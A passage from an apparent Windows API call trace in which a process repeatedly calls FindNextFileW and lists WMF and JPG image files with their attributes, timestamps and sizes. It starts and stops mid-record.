dwReserved1=0x0, cFileName="J0171847.WMF", cAlternateFileName="")) returned 1 [0255.608] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172035.WMF", cAlternateFileName="")) returned 1 [0255.608] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172067.WMF", cAlternateFileName="")) returned 1 [0255.608] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3198, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172193.WMF", cAlternateFileName="")) returned 1 [0255.609] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174315.WMF", cAlternateFileName="")) returned 1 [0255.609] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2608, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174635.WMF", cAlternateFileName="")) returned 1 [0255.609] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174639.WMF", cAlternateFileName="")) returned 1 [0255.609] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6196, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174952.JPG", cAlternateFileName="")) returned 1 [0255.609] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0175361.JPG", cAlternateFileName="")) returned 1 [0255.610] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0175428.JPG", cAlternateFileName="")) returned 1 [0255.610] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0177257.JPG", cAlternateFileName="")) returned 1 [0255.610] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd902, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0177806.JPG", cAlternateFileName="")) returned 1 [0255.610] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x907d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178348.JPG", cAlternateFileName="")) returned 1 [0255.610] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7214, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178459.JPG", cAlternateFileName="")) returned 1 [0255.611] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff99200, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ff99200, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x67a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178460.JPG", cAlternateFileName="")) returned 1 [0255.611] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178523.JPG", cAlternateFileName="")) returned 1 [0255.611] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178632.JPG", cAlternateFileName="")) returned 1 [0255.611] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d26, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178639.JPG", cAlternateFileName="")) returned 1 [0255.611] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178932.JPG", cAlternateFileName="")) returned 1 [0255.612] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0179963.JPG", cAlternateFileName="")) returned 1 [0255.612] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182689.JPG", cAlternateFileName="")) returned 1 [0255.612] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182888.WMF", cAlternateFileName="")) returned 1 [0255.612] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182898.WMF", cAlternateFileName="")) returned 1 [0255.612] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182902.WMF", cAlternateFileName="")) returned 1 [0255.613] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21290a00, ftCreationTime.dwHighDateTime=0x1bdf6f5, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21290a00, ftLastWriteTime.dwHighDateTime=0x1bdf6f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182946.WMF", cAlternateFileName="")) returned 1 [0255.613] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x745c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183172.WMF", cAlternateFileName="")) returned 1 [0255.613] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6fd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183174.WMF", cAlternateFileName="")) returned 1 [0255.613] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183198.WMF", cAlternateFileName="")) returned 1 [0255.613] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183574.WMF", cAlternateFileName="")) returned 1 [0255.614] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185670.WMF", cAlternateFileName="")) returned 1 [0255.614] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185774.WMF", cAlternateFileName="")) returned 1 [0255.843] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185776.WMF", cAlternateFileName="")) returned 1 [0255.843] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185778.WMF", cAlternateFileName="")) returned 1 [0255.843] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe956, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185780.WMF", cAlternateFileName="")) returned 1 [0255.843] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185786.WMF", cAlternateFileName="")) returned 1 [0255.844] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x50b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185790.WMF", cAlternateFileName="")) returned 1 [0255.844] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x650c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185796.WMF", cAlternateFileName="")) returned 1 [0255.844] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8420, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185798.WMF", cAlternateFileName="")) returned 1 [0255.844] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5eae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185800.WMF", cAlternateFileName="")) returned 1 [0255.844] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x773a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185806.WMF", cAlternateFileName="")) returned 1 [0255.845] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185818.WMF", cAlternateFileName="")) returned 1 [0255.845] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185828.WMF", cAlternateFileName="")) returned 1 [0255.845] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2182, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185834.WMF", cAlternateFileName="")) returned 1 [0255.845] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185842.WMF", cAlternateFileName="")) returned 1 [0255.845] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186346.WMF", cAlternateFileName="")) returned 1 [0255.846] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x843a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186360.WMF", cAlternateFileName="")) returned 1 [0255.846] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186362.WMF", cAlternateFileName="")) returned 1 [0255.846] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4724, dwReserved0=0x0, dwReserved1=0x0, 